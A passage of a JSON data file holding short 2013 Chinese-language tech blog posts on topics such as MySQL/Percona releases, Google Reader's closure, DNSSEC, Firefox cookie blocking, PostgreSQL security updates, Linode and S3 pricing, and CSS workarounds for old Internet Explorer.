並不難，因為如果有正規化時通常都會達到目標。就算不去用他也還是可以設計一個 <code>INT UNSIGNED PRIMARY KEY AUTO_INCREMENT</code> 放著。(過大的時候再換成 <code>BIGINT UNSIGNED</code>)",
    "title": "把 MySQL MyISAM 換到 Galera Cluster 的 InnoDB 上..."
  },
  {
    "id": "3253",
    "body": "如標題 :p 只拿 <a href=\"http://search.cpan.org/dist/App-cpanminus/\">cpanm</a> 分析一定會有偏差，所以數字參考看看就好：「<a href=\"http://weblog.bulknews.net/post/45224954186/perl-versions-usage-stats-with-cpanm\">Perl versions usage stats (with cpanm)</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/C5GyW7T.webp\" /><img src=\"https://i.gslin.com/imgur/C5GyW7T.jpg\" alt=\"\" /></picture>\r\n\r\n<a href=\"http://www.perl.org/\">Perl</a> 其中一個討厭的問題是版本太多了... 不是官方說 EoL 就可以 EoL 啊 :/",
    "title": "利用 cpanm 的資料計算 Perl 版本分佈狀況..."
  },
  {
    "id": "3255",
    "body": "雖然之前就有小道消息說要關，但實際公告出來瞬間就在自家 <a href=\"https://www.google.com/reader\">Google Reader</a> 上看到暴動... XD\r\n\r\n官方公告在：「<a href=\"http://googleblog.blogspot.com/2013/03/a-second-spring-of-cleaning.html\">A second spring of cleaning</a>」，其中只有一小段 XDDD\r\n<blockquote>We launched Google Reader in 2005 in an effort to make it easy for people to discover and keep tabs on their favorite websites. While the product has a loyal following, over the years usage has declined. So, on July 1, 2013, we will retire Google Reader. Users and developers interested in RSS alternatives can export their data, including their subscriptions, with Google Takeout over the course of the next four months.</blockquote>\r\n\r\n另外登入 Google Reader 時也會看到：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Y1b3w0H.webp\" /><img src=\"https://i.gslin.com/imgur/Y1b3w0H.jpg\" alt=\"\" /></picture>\r\n\r\n接下來就先觀望吧，剩下三個多月... 之前覺得 <a href=\"http://www.feedly.com/\">Feedly</a> 用起來太沒效率... (反正現在網站也被打趴沒得測)",
    "title": "Google Reader 要關了... -_-"
  },
  {
    "id": "3256",
    "body": "在「<a href=\"http://news.slashdot.org/story/13/03/13/1227209/arm-based-server-cluster-benchmarked\">ARM Based Server Cluster Benchmarked</a>」看到有人對 <a href=\"http://www.arm.com/\">ARM</a> 與 <a href=\"http://www.intel.com/\">Intel</a> 的 x86 (x86_64) 架構比較。原文在「<a href=\"http://www.anandtech.com/show/6757/calxedas-arm-server-tested\">Calxeda's ARM server tested</a>」，ARM 的部份是以 Calxedas 的 server 測試。\r\n\r\n重點其實在第 13 頁：\r\n<blockquote>So on the one hand, no, the current Calxeda servers are no Intel Xeon killers (yet). However, we feel that the Calxeda's ECX-1000 server node is revolutionary technology. When we ran 16 VMs (instead of 24), the dual low power Xeon was capable of achieving the same performance per VM as the Calxeda server nodes. That this 24 node system could offer 50% more throughput at 10% lower power than one of the best Xeon machines available was honestly surprising to us.</blockquote>\r\n雖然知道 ARM 的單位能量所產生的效能比較好，但比我想像中少... 我以為同樣電力會到兩倍。如果只有 50%+ 的話，也難怪各家都還在評估，而非大力換掉 :o",
    "title": "ARM Server 與 Intel Server 的比較..."
  },
  {
    "id": "3258",
    "body": "剛剛看到 <a href=\"http://www.percona.com/\">Percona</a> 放出第三個基於 <a href=\"http://dev.mysql.com/\">MySQL</a> 5.6 的版本了，仍然是 alpha 等級 (還在測試階段)：「<a href=\"http://www.mysqlperformanceblog.com/2013/03/14/announcing-percona-server-for-mysql-5-6-10-60-2/\">Announcing Percona Server for MySQL 5.6.10-60.2</a>」。\r\n\r\n這也是 MySQL 5.6 進入 GA 後 Percona 推出的第一個版本，而且剛剛看 Percona 的文件網站也發現建出來了：「<a href=\"http://www.percona.com/doc/percona-server/5.6/index.html\">Percona Server 5.6 - Documentation</a>」。\r\n\r\n<a href=\"http://www.percona.com/software/percona-xtradb-cluster\">Percona XtraDB Cluster</a> 目前還是基於 5.5 的版本，不知道 <a href=\"http://codership.com/\">Codership</a> (<a href=\"http://www.codership.com/content/using-galera-cluster\">Galera Cluster</a> 的開發公司) 有沒有打算換新...",
    "title": "Percona 的 MySQL 5.6..."
  },
  {
    "id": "3260",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到的文章：「<a href=\"http://news.slashdot.org/story/13/03/16/1642254/uk-government-mandates-preference-for-open-source\">UK Government Mandates 'Preference' For Open Source</a>」，引用的新聞是「<a href=\"http://www.computerweekly.com/news/2240179643/Government-mandates-preference-for-open-source\">Government mandates 'preference' for open source</a>」，英國政府的說明原文則是在「<a href=\"https://www.gov.uk/service-manual/making-software/open-source.html\">Open source — Government Service Design Manual</a>」。\r\n\r\n第一段就馬上說明無論是作業系統、網路軟體、網站伺服器、資料庫，甚至是程式語言，都應該優先考慮 open source 方案，再考慮 closed source 替代方案：\r\n<blockquote>Use open source software in preference to proprietary or closed source alternatives, in particular for operating systems, networking software, Web servers, databases and programming languages.</blockquote>\r\n只有在少數狀況下才應該使用 SaaS 或是安裝非 open source 軟體替代：\r\n<blockquote>Problems which are rare, or specific to a domain may be best answered by using software as a service, or by installing proprietary software.</blockquote>\r\n不過這份 manual 還未定案，還可以看看會有什麼更新...",
    "title": "英國政府將優先考慮 Open Source 應用"
  },
  {
    "id": "3261",
    "body": "有人就在 <a href=\"http://stackexchange.com/\">StackExchange</a> 上問 StackExchange 本身的流量，而官方就直接把數字提供出來：「<a href=\"http://meta.stackoverflow.com/questions/172310/how-much-bandwidth-does-se-eat-up\">How much bandwidth does SE eat up?</a>」。\r\n\r\n這是全部 StackExchange 家族的數字。除了頻寬數據以外，還包括了 CDN 的數據 (使用量與 Hit rate)。所有的數據都是提供三十天內的統計結果。\r\n\r\n這是以文字為主，而且偏技術類的網站，這樣的流量數字其實相當驚人了。",
    "title": "StackExchange 的頻寬使用量..."
  },
  {
    "id": "3262",
    "body": "<a href=\"http://www.stevesouders.com/\">Steve Souders</a> 分析這幾年來 <a href=\"http://jquery.com/\">jQuery</a> 的使用方式：「<a href=\"http://www.stevesouders.com/blog/2013/03/18/http-archive-jquery/\">HTTP Archive: jQuery</a>」。\r\n\r\nHosting 的部份，<a href=\"https://developers.google.com/speed/libraries/\">Google Hosted Libraries</a> 仍然熱門，在取出 30k url 比較中，可以看到超過 19% 的站使用 Google Hosted Libraries 提供的 jQuery。\r\n\r\n另外就是使用的版本極度分散，而且更新速度非常緩慢。1.9 系列完全排不上前十，第一名是 1.4.2... 等下，這是什麼版本 XD",
    "title": "對 jQuery 使用方式的分析..."
  },
  {
    "id": "3263",
    "body": "<a href=\"https://developers.google.com/speed/public-dns/\">Google Public DNS</a> 開始支援 DNSSEC 驗證，讓 DNS 查詢更安全：「<a href=\"http://googleonlinesecurity.blogspot.com/2013/03/google-public-dns-now-supports-dnssec.html\">Google Public DNS Now Supports DNSSEC Validation</a>」。\r\n\r\n一般的查詢還是可以查到：\r\n<pre>; &lt;&lt;&gt;&gt; DiG 9.8.1-P1 &lt;&lt;&gt;&gt; bogussig.dnssec.tjeb.nl @8.8.8.8\r\n;; global options: +cmd\r\n;; Got answer:\r\n;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 40844\r\n;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0\r\n\r\n;; QUESTION SECTION:\r\n;bogussig.dnssec.tjeb.nl.       IN      A\r\n\r\n;; ANSWER SECTION:\r\nbogussig.dnssec.tjeb.nl. 422    IN      A       178.18.82.80</pre>\r\n加上 DNSSEC 選項後就可以把有問題的抓出來：\r\n<pre>; &lt;&lt;&gt;&gt; DiG 9.8.1-P1 &lt;&lt;&gt;&gt; bogussig.dnssec.tjeb.nl @8.8.8.8 +dnssec\r\n;; global options: +cmd\r\n;; Got answer:\r\n;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: SERVFAIL, id: 61704\r\n;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1\r\n\r\n;; OPT PSEUDOSECTION:\r\n; EDNS: version: 0, flags: do; udp: 512\r\n;; QUESTION SECTION:\r\n;bogussig.dnssec.tjeb.nl.       IN      A</pre>",
    "title": "Google Public DNS 支援 DNSSEC 驗證..."
  },
  {
    "id": "3264",
    "body": "在這邊探討了 <a href=\"https://en.wikipedia.org/wiki/Fully_qualified_domain_name\">FQDN</a> 形式 (hostname 最後面有 dot 結尾的形式) 對於瀏覽器的影響：「<a href=\"http://saynt2day.blogspot.com/2013/03/danger-of-trailing-dot-in-domain-name.html\">The danger of the trailing dot in the domain name</a>」。\r\n\r\n影響包括了 HTTPS 的 SSL Certificate 會失效：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/HZ41N19.webp\" /><img src=\"https://i.gslin.com/imgur/HZ41N19.jpg\" alt=\"\" /></picture>\r\n\r\n另外，cookie domain 會不一樣，所以在有 dot 的頁面上登入後，重導到沒有 dot 的網址上會讀不到 cookie 而造成登入失敗。\r\n\r\n瀏覽器應該對 dot 處理嗎？一時間想不到有什麼問題，不過好像又不應該處理...",
    "title": "Hostname 最後面的點 (dot) 會造成的影響..."
  },
  {
    "id": "3265",
    "body": "繼上次的「<a href=\"http://blog.gslin.org/archives/2013/03/08/3242/linode-%E9%AA%A8%E5%B9%B9%E5%8D%87%E7%B4%9A%EF%BC%8C%E5%82%B3%E8%BC%B8%E9%87%8F%E9%99%90%E5%88%B6%E6%8F%90%E6%98%87%E7%82%BA%E5%8E%9F%E4%BE%86%E7%9A%84%E5%8D%81%E5%80%8D%EF%BC%81/\">Linode 骨幹升級，傳輸量限制提昇為原來的十倍！</a>」之後，這次把可用 CPU 數量也升級上去了：「<a href=\"http://blog.linode.com/2013/03/18/linode-nextgen-the-hardware/\">Linode NextGen: The Hardware</a>」。\r\n\r\n現有的機器只要重開機就可以抓到了。不過真正最常卡住的應該是記憶體... 畢竟記憶體夠大，什麼事情都好辦 :p",
    "title": "Linode 再升級：CPU 數量變成原來兩倍..."
  },
  {
    "id": "3267",
    "body": "在「<a href=\"http://tech.slashdot.org/story/13/03/23/2030243/icann-reveals-regional-winners-of-new-gtlds\">ICANN Reveals Regional Winners of New gTLDs</a>」這邊看到 <a href=\"http://www.icann.org/\">ICANN</a> 通過 27 個 top level domain 的消息。\r\n\r\n這 27 個 domain 可以透過「<a href=\"https://gtldresult.icann.org/application-result/applicationstatus/viewstatus\">New gTLD Current Application Status</a>」這頁查詢，在 Search By 的地方選擇 IE Result = Pass 就可以找出來了。可以看出來這一波都是非英文的網域名稱。\r\n\r\n有種被 ICANN 玩到快完蛋的感覺...",
    "title": "ICANN 通過 27 個 top level domain..."
  },
  {
    "id": "3268",
    "body": "在「<a href=\"http://news.slashdot.org/story/13/03/23/067246/pew-research-finds-opinion-dominates-msnbc-more-than-fox-news\">Pew Research Finds Opinion Dominates MSNBC More Than Fox News</a>」這篇看到的，<a href=\"http://www.pewresearch.org/\">Pew Research Center</a> 對三大新聞頻道 2012 年的年度分析，發現 <a href=\"http://www.nbcnews.com/\">MSNBC</a> 的談話性節目所佔的時間遠超過一般新聞播報：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/YMymY8i.webp\" /><img src=\"https://i.gslin.com/imgur/YMymY8i.jpg\" alt=\"\" /></picture>\r\n\r\n在「<a href=\"http://stateofthemedia.org/2013/special-reports-landing-page/the-changing-tv-news-landscape/\">The Changing TV News Landscape</a>」裡還分析了 2007 年與 2012 年的差異... 趨勢是往綜藝節目走向：用比較低的成本達到收視率，灑狗血比實際跑新聞便宜而且輕鬆。\r\n\r\n不過 85% 是怎麼樣... XDDD",
    "title": "CNN、Fox News、MSNBC (美國三大新聞頻道) 節目的比重..."
  },
  {
    "id": "3269",
    "body": "在「<a href=\"https://threatpost.com/en_us/blogs/apple-adds-two-factor-authentication-itunes-accounts-032213\">Apple Adds Two-Factor Authentication to iTunes Accounts</a>」看到<a href=\"http://www.apple.com/\">蘋果</a>支援 Two-Factor Authentication。蘋果官方的 KB 在「<a href=\"http://support.apple.com/kb/HT5570\">Apple ID: Frequently asked questions about two-step verification for Apple ID</a>」這邊。\r\n\r\n看說明是透過簡訊進行認證，類似於 <a href=\"https://www.facebook.com/\">Facebook</a> 的方式。不過拿了自己的帳號測試發現還看不到這個選項，應該是全球逐步開放？",
    "title": "蘋果的 Two-Factor Authentication..."
  },
  {
    "id": "3273",
    "body": "<a href=\"http://aws.amazon.com/\">AWS</a> 推出 <a href=\"http://aws.amazon.com/cloudhsm/\">CloudHSM</a> 服務：「<a href=\"http://aws.typepad.com/aws/2013/03/aws-cloud-hsm-secure-key-storage-and-cryptographic-operations.html\">AWS CloudHSM - Secure Key Storage and Cryptographic Operations</a>」。\r\n\r\n不便宜，看起來是為了需要 <a href=\"http://csrc.nist.gov/groups/STM/cmvp/documents/140-1/140val-all.htm\">NIST FIPS 140-2</a> 需求而設的吧？跑的是 <a href=\"http://www.safenet-inc.com/products/data-protection/hardware-security-modules/luna-sa/\">Luna SA - Ethernet-Attached HSM</a>，可以達到 Level 3 的安全性...\r\n\r\n然後遇到安全性時的老問題，要怎麼 audit：\r\n<blockquote class=\"twitter-tweet\"><p>Amazon claims that they have no access to keys stored on <a href=\"https://twitter.com/search/%23AWS\">#AWS</a> <a href=\"https://twitter.com/search/%23CloudHSM\">#CloudHSM</a>, but how do we know it's really an HSM? <a href=\"https://twitter.com/search/%23professionallyparanoid\">#professionallyparanoid</a></p>&mdash; Colin Percival (@cperciva) <a href=\"https://twitter.com/cperciva/status/316683900409765891\">March 26, 2013</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n感覺上是個口水戰，來拉板凳... XD",
    "title": "AWS 的 CloudHSM..."
  },
  {
    "id": "3274",
    "body": "在「<a href=\"http://www.schneier.com/blog/archives/2013/03/the_nsas_crypto.html\">The NSA's Cryptolog</a>」這邊提到 <a href=\"http://www.nsa.gov/\">NSA</a> 將 1974 年到 1997 年的 CRYPTOLOG (NSA 內部以密碼學為主題的月刊) 解密放出...\r\n\r\n所有檔案可以在官方網站「<a href=\"http://www.nsa.gov/public_info/declass/cryptologs.shtml\">Cryptologs</a>」這邊下載，另外避免突然消失，有人直接包成一個超大的 PDF：「<a href=\"http://www.governmentattic.org/7docs/NSA-Cryptolog_1997-1974.pdf\">www.governmentattic.org/7docs/NSA-Cryptolog_1997-1974.pdf</a>」。\r\n\r\n沒什麼意外的... 裡面滿滿的馬賽克 XDDD",
    "title": "NSA 的 CRYPTOLOG..."
  },
  {
    "id": "3275",
    "body": "<a href=\"http://www.mozilla.org/\">Mozilla</a> 官方的 Blog 上說明了 <a href=\"http://nightly.mozilla.org/\">Firefox Nightly</a> 引入了新的 Cookie 機制，預設將不允許以追蹤為目的的 cookie：「<a href=\"https://blog.mozilla.org/privacy/2013/02/25/firefox-getting-smarter-about-third-party-cookies/\">Firefox getting smarter about third-party cookies</a>」。\r\n\r\n最粗淺的想法是，如果 cookie 是沒有逛過的網站所發出來的就擋掉。所以：(出自 <a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=818340\">bug 818340</a> 的 comment)\r\n<pre>1) if an origin is first-party, it has ordinary cookie permissions\r\n2) if an origin is third-party\r\n\ta) if the origin already has cookies, it has ordinary cookie permissions\r\n\tb) otherwise, the origin gets no cookie permissions</pre>\r\n也就是在 <a href=\"https://bugzilla.mozilla.org/\">Mozilla Bugzilla</a> 裡的紀錄「<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=818340\">Block cookies from sites I haven't visited</a>」，開 bug 的作者是看到 <a href=\"http://www.apple.com/safari/\">Safari</a> 處理 cookie 的方式而決定要在 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 上也幹類似的事情 :p\r\n\r\n所以 <del><code>google-analytics.com</code></del> <code>doubleclick.net</code> 的 cookie 永遠不會成立 (因為沒去過這個網站)，但 <code>facebook.com</code> 的外掛還是會動... 其他的廣告商就類推... XD\r\n\r\n這對於目前的廣告商會很傷 :p 透過 cookie 實作個人化廣告的功能會被廢掉一半的武功，得用其他方法惡搞 :o 可以預期在 <a href=\"http://www.google.com/chrome/\">Google Chrome</a> 後面的 <a href=\"https://www.google.com/\">Google</a> 一定超級不想實作這功能... XD\r\n\r\n不過 Google Chrome 好像可以自己阻擋第三方 cookie，然後設定白名單，晚點來研究看看... (反正會保持登入的 social network 沒幾家)",
    "title": "Firefox 加強對 Cookie 的管制..."
  },
  {
    "id": "3277",
    "body": "昨天看 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 的文摘看到的：「<a href=\"https://gist.github.com/piscisaureus/3342247\">Checkout github pull requests locally</a>」。\r\n\r\n方法是對 <code>remote \"origin\"</code> 加上 <code>fetch = +refs/pull/*/head:refs/remotes/origin/pr/*</code>，這樣就會把 pull request 拉下來...\r\n\r\n下面的 comment 也有不少討論可以看...",
    "title": "把 GitHub 上的 pull request 對應到 Git branch..."
  },
  {
    "id": "3278",
    "body": "快四年前寫過「<a href=\"http://blog.gslin.org/archives/2009/04/24/2001/xtrabackup%EF%BC%9A%E7%B7%9A%E4%B8%8A%E5%82%99%E4%BB%BD-innodb-%E7%9A%84%E5%A5%BD%E6%9D%B1%E8%A5%BF/\">XtraBackup：線上備份 InnoDB 的好東西</a>」這篇，但裡面的方法已經不能用了，所以再寫一篇給 <a href=\"https://www.google.com/\">Google</a>，之後查資料比較方便...\r\n\r\n現在可以參考 <a href=\"http://www.percona.com/\">Percona</a> 的官方文件「<a href=\"http://www.percona.com/doc/percona-xtrabackup/howtos/setting_up_replication.html\">How to setup a slave for replication in 6 simple steps with Xtrabackup</a>」。\r\n\r\n先跑一次 full backup：\r\n<blockquote><code>innobackupex --user=yourDBuser --password=MaGiCiGaM --slave-info /path/to/backupdir</code></blockquote>\r\n再跑 apply log：(其中的變數自己換掉)\r\n<blockquote><code>innobackupex --apply-log --use-memory=2G /path/to/backupdir/$TIMESTAMP/</code></blockquote>\r\n然後整個目錄丟到 slave server 上，用 <code>CHANGE MASTER TO</code> 指令把 master 資訊設好即可 :p",
    "title": "用 Percona Xtrabackup 產生 Slave Server 的方式..."
  },
  {
    "id": "3279",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 文摘上看到，<a href=\"http://www.postgresql.org/\">PostgreSQL</a> 決定對這次的 security update 採取最極端的作法：「<a href=\"http://www.postgresql.org/message-id/14040.1364490185@sss.pgh.pa.us\">Extra security measures for next week's releases</a>」。\r\n\r\n包括全面管制 Git repository 公開資訊：官方的 Git repository 將會在正式釋出修正前限制只有 committer 可以存取，並且暫停 <a href=\"https://github.com/\">GitHub</a> 以及其他 git mirror 權限。\r\n\r\n另外 mailing list 也受到管制，包括了 src commit log 以及 document commit log。\r\n\r\n信件開頭就提到這次安全性漏洞足以說服 PostgreSQL 的人採取最極端的作法，避免在有修正方案前造成漏洞洩漏出來被使用：\r\n<blockquote>The core committee has decided that one of the security issues due to be fixed next week is sufficiently bad that we need to take extra measures to prevent it from becoming public before packages containing the fix are available.  (This is a scenario we've discussed before, but never had to actually implement.)</blockquote>\r\n不過這反而讓人更關注，甚至上了 Hacker News 熱門榜...",
    "title": "PostgreSQL 對 security update 的極端作法..."
  },
  {
    "id": "3280",
    "body": "二月的時候 <a href=\"http://www.postgresql.org/\">PostgreSQL</a> 的人在 <a href=\"http://www.postgresql.org/about/event/1459/\">FOSDEM PGDay 2013</a> 上發表了對 NoSQL 的看法 (PDF 投影片)：「<a href=\"https://wiki.postgresql.org/images/b/b4/Pg-as-nosql-pgday-fosdem-2013.pdf\">PostgreSQL as a Schemaless Database.</a>」。\r\n\r\n先說明，這投影片相當酸 XD\r\n\r\n不過這份投影片說明了大多數人的問題：\r\n<ul>\r\n\t<li>其實大多用 NoSQL 的人不知道在用什麼...</li>\r\n\t<li>就算你知道你在用什麼，你用得很爽的功能其實在「傳統的」「SQL 架構」下效能通常都會更好...</li>\r\n</ul>\r\n另外我建議可以看看維基百科上的 <a href=\"https://en.wikipedia.org/wiki/Entity%E2%80%93attribute%E2%80%93value_model\">Entity-attribute-value model</a>，大多數你想用 NoSQL 的情況在這個 case 下就可以解決，而且效能相當好。",
    "title": "PostgreSQL 對 NoSQL 的看法..."
  },
  {
    "id": "3281",
    "body": "<a href=\"http://aws.amazon.com/s3/\">Amazon S3</a> 的 request 費用大幅調降：「<a href=\"http://aws.amazon.com/about-aws/whats-new/2013/04/02/announcing-lower-request-pricing-for-amazon-s3/\">Announcing New Lower Request Pricing for Amazon S3</a>」。\r\n\r\nPUT/LIST/COPY/POST 的部份調降 50%，本來每千個是 USD$0.01 調降到 USD$0.005。而 GET 調降 60%，本來 USD$0.01 調降到 USD$0.004。\r\n\r\n本來 <a href=\"http://aws.amazon.com/cloudfront/\">CloudFront</a> 可以降低 request 費用 (美國區每千個 GET 是 USD$0.0075)，現在相比反而變貴... 還是過陣子 CloudFront 有機會再調降 request 費用？",
    "title": "Amazon S3 調降 request 本身的收費..."
  },
  {
    "id": "3282",
    "body": "<a href=\"http://www.postgresql.org/\">PostgreSQL</a> 在官網最明顯的位置上放出更新公告：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/buBdQHX.webp\" /><img src=\"https://i.gslin.com/imgur/buBdQHX.jpg\" alt=\"\" /></picture>\r\n\r\n說明在「<a href=\"http://www.postgresql.org/about/news/1456/\">PostgreSQL 9.2.4, 9.1.9, 9.0.13 and 8.4.17 released</a>」這頁，更新的版本分別是 9.2.4 (9.2)、9.1.9 (9.1)、9.0.13 (9.0) 與 8.4.17 (8.4)。除了公告外，在 <a href=\"http://www.postgresql.org/support/security/\">Security Information</a> 的資料也可以交叉看。\r\n\r\n這次最嚴重的問題是 <a href=\"http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1899\">CVE-2013-1899</a>，等級分類在最嚴重的 A 級，官方對這個問題的描述是：\r\n<blockquote>A connection request containing a database name that begins with \"-\" may be crafted to damage or destroy files within a server's data directory</blockquote>\r\nhmmm...",
    "title": "PostgreSQL 安全性更新..."
  },
  {
    "id": "3283",
    "body": "剛剛看到 <a href=\"https://github.com/\">GitHub</a> 公告，將使用者網站 (<code>http://username.github.com/</code> 這種) 改到 <code>http://username.github.io/</code> 下：「<a href=\"https://github.com/blog/1452-new-github-pages-domain-github-io\">New GitHub Pages domain: github.io</a>」。\r\n\r\nGitHub 總算把把使用者頁面放到 subdomain 下這種對安全性問題吃力不討好的事情給搞定了...\r\n\r\nPS：我還是對 <a href=\"http://www.hinet.net/\">HiNet</a> 把 <code>hinet.net</code> 用在使用者 IP 上這件事情感覺到... XD",
    "title": "GitHub 總算把使用者頁面放到新的 domain 上：github.io"
  },
  {
    "id": "3284",
    "body": "<a href=\"http://wordpress.com/\">WordPress.com</a> 前幾天宣佈支援 One Time Password (OTP，<a href=\"https://zh.wikipedia.org/wiki/%E4%B8%80%E6%AC%A1%E6%80%A7%E5%AF%86%E7%A2%BC\">動態密碼</a>)：「<a href=\"http://en.blog.wordpress.com/2013/04/05/two-step-authentication/\">Greater Security with Two Step Authentication</a>」。\r\n\r\n因為是使用 <a href=\"https://en.wikipedia.org/wiki/HMAC-based_One-time_Password_Algorithm\">HOTP</a> 與 <a href=\"https://en.wikipedia.org/wiki/Time-based_One-time_Password_Algorithm\">TOTP</a>，所以可以使用 <a href=\"https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2\">Google Authenticator</a> (<a href=\"http://www.android.com/\">Android</a>) 或是 <a href=\"https://itunes.apple.com/app/google-authenticator/id388497605?mt=8\">Google Authenticator</a> (<a href=\"http://www.apple.com/ios/\">iOS</a>) 當做 OTP software。\r\n\r\n不過用手機跑 OTP software 的安全性還是沒有傳統實體 token 的高 (可以藉由 OS exploit 取得 key)，像 <a href=\"http://aws.amazon.com/\">AWS</a> 就同時有提供實體 OTP 與 HOTP+TOTP 的版本...\r\n\r\n不過 AWS 的實體 OTP 低成本應該是靠 AWS 量而壓出來 (靠 <a href=\"http://aws.amazon.com/iam/\">IAM</a> 一個帳號設很多子帳號，每個子帳號都可以設定要不要用 OTP)，這部份 WordPress.com 沒有這個需求。另外 WordPress.com 的資料似乎沒有 AWS 吸引人，所以...\r\n\r\n大概還是不會設 OTP 吧...",
    "title": "WordPress.com 也支援 OTP 了..."
  },
  {
    "id": "3286",
    "body": "被 <a href=\"http://www.zite.com/\">Zite</a> 推薦快兩年前的文章... 在「<a href=\"http://abouthalf.com/development/poor-mans-nth-child-selector-for-ie-7-and-8/\">Poor man’s nth-child selector for IE 7 and 8</a>」看到用 <code>+</code> 來硬幹 <code>nth-child()</code>...\r\n\r\n一般是這樣寫：\r\n<pre>/* standard nth */\r\nul.menu li:nth-child(3)\r\n{\r\n    /* styles for the 3rd LI */\r\n}</pre>\r\n遇到 IE{7,8} 時可以這樣幹：\r\n<pre>/* IE nth */\r\nul.menu&gt;li + li + li \r\n{\r\n    /* styles for the 3rd LI */\r\n}</pre>\r\n或是：\r\n<pre>/* alternate, more specific IE nth */\r\nul.menu&gt;li:first-child + li + li \r\n{\r\n    /* styles for the 3rd LI */\r\n}</pre>\r\n印象中很久前有看到一堆這類硬幹的技巧，不過都忘光了... 寫一篇記錄下來 XD",
    "title": "IE7 與 IE8 上的 :nth-child..."
  },
  {
    "id": "3287",
    "body": "<a href=\"http://www.linode.com/\">Linode</a> 最後的大絕招放出來了，將 RAM 加倍：「<a href=\"http://blog.linode.com/2013/04/09/linode-nextgen-ram-upgrade/\">Linode NextGen: RAM Upgrade</a>」。\r\n\r\n這次不是直接升級，而是用「我們想要把收費的金額變為整數」當理由避免直接升級 (最小台的 USD$19.95/month 變成 USD$20/month)。流量與價錢保持比例最大台的機器就變成 Linode 8G，提供 192GB disk 以及 16TB/month 的流量，比起 4GB 又可以多做不少事情...\r\n\r\n升級過程會更換主機，而非原地升級，實際轉移時需要把 disk image 從現在跑的機器複製到另外一台，還蠻花時間的... (最小台就用了我 12 分鐘)\r\n\r\n不在意 USD$0.05/month 的人可以登入後台去看看，照內文所說明的，目前除了加州機房以外都已經 ready 了 :p",
    "title": "Linode 再升級：每個月多 USD$0.05，記憶體加倍..."
  },
  {
    "id": "3288",
    "body": "<a href=\"http://www.microsoft.com/\">微軟</a>自己做的 <a href=\"http://www.ie6countdown.com/\">The Internet Explorer 6 Countdown</a> 網站又在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上被提起來... XD\r\n\r\n還高於 1% 的地區全部都在亞洲，包括了：\r\n<ul>\r\n\t<li>中國 (25.8%)</li>\r\n\t<li>印度 (2.4%)</li>\r\n\t<li>日本 (2.1%)</li>\r\n\t<li>台灣 (2.0%)</li>\r\n\t<li>香港 (1.4%)</li>\r\n\t<li>南韓 (1.4%)</li>\r\n\t<li>越南 (1.2%)</li>\r\n</ul>\r\n那個超高的 25.8% 要怎麼降啊... XD",
    "title": "IE6 的消滅進度..."
  },
  {
    "id": "3289",
    "body": "很久沒用 Windows 了，不過之前還在用的時候總是覺得 <a href=\"http://www.adobe.com/\">Adobe</a> 的 Download Manager 很煩人，然後剛剛看到 <a href=\"http://xkcd.com/\">xkcd</a> 酸 XDDD：\r\n\r\n<a href=\"http://xkcd.com/1197/\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/hEcKFuR.webp\" /><img src=\"https://i.gslin.com/imgur/hEcKFuR.jpg\" alt=\"\" /></picture></a>\r\n\r\n噗 XDDD",
    "title": "Adobe 的 Download Manager 被 xkcd 酸..."
  },
  {
    "id": "3290",
    "body": "<a href=\"http://www.percona.com/\">Percona</a> 在前幾天推出基於 <a href=\"http://dev.mysql.com/\">MySQL</a> 5.5.30 的 <a href=\"http://www.percona.com/software/percona-server\">Percona Server</a> 5.5.30-30.2：「<a href=\"http://www.mysqlperformanceblog.com/2013/04/10/percona-server-for-mysql-5-5-30-30-2-now-available/\">Percona Server for MySQL 5.5.30-30.2 now available</a>」。\r\n\r\n5.5.30-30.2 這個版本引入了 <a href=\"http://www.canonware.com/jemalloc/\">jemalloc</a>：\r\n<blockquote>Percona Server for MySQL will now be shipped with the libjemalloc library. Benchmark showing the impact of memory allocators on MySQL performance can be found in this <a href=\"http://www.mysqlperformanceblog.com/2012/07/05/impact-of-memory-allocators-on-mysql-performance/\">blogpost</a>. (Ignacio Nin)</blockquote>\r\n在去年 (2012 年) 七月 Percona 就有分析過 <a href=\"http://www.gnu.org/software/libc/\">glibc</a> 與 jemalloc 對效能的差異：「<a href=\"http://www.mysqlperformanceblog.com/2012/07/05/impact-of-memory-allocators-on-mysql-performance/\">Impact of memory allocators on MySQL performance</a>」，可以看到在 concurrent active connection 數量愈高，jemalloc 的優勢愈明顯。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DgB1eSW.webp\" /><img src=\"https://i.gslin.com/imgur/DgB1eSW.jpg\" alt=\"\" /></picture>\r\n\r\n預設總算把 jemalloc 包進去了，等好久了...\r\n\r\n另外一個是「<a href=\"http://www.mysqlperformanceblog.com/2013/04/12/trx-descriptors-mysql-performance-improvements-in-percona-server-5-5-30-30-2/\">trx descriptors: MySQL performance improvements in Percona Server 5.5.30-30.2</a>」，針對 transaction lock 問題的改善。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/iLRohRh.webp\" /><img src=\"https://i.gslin.com/imgur/iLRohRh.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vYHGP2n.webp\" /><img src=\"https://i.gslin.com/imgur/vYHGP2n.jpg\" alt=\"\" 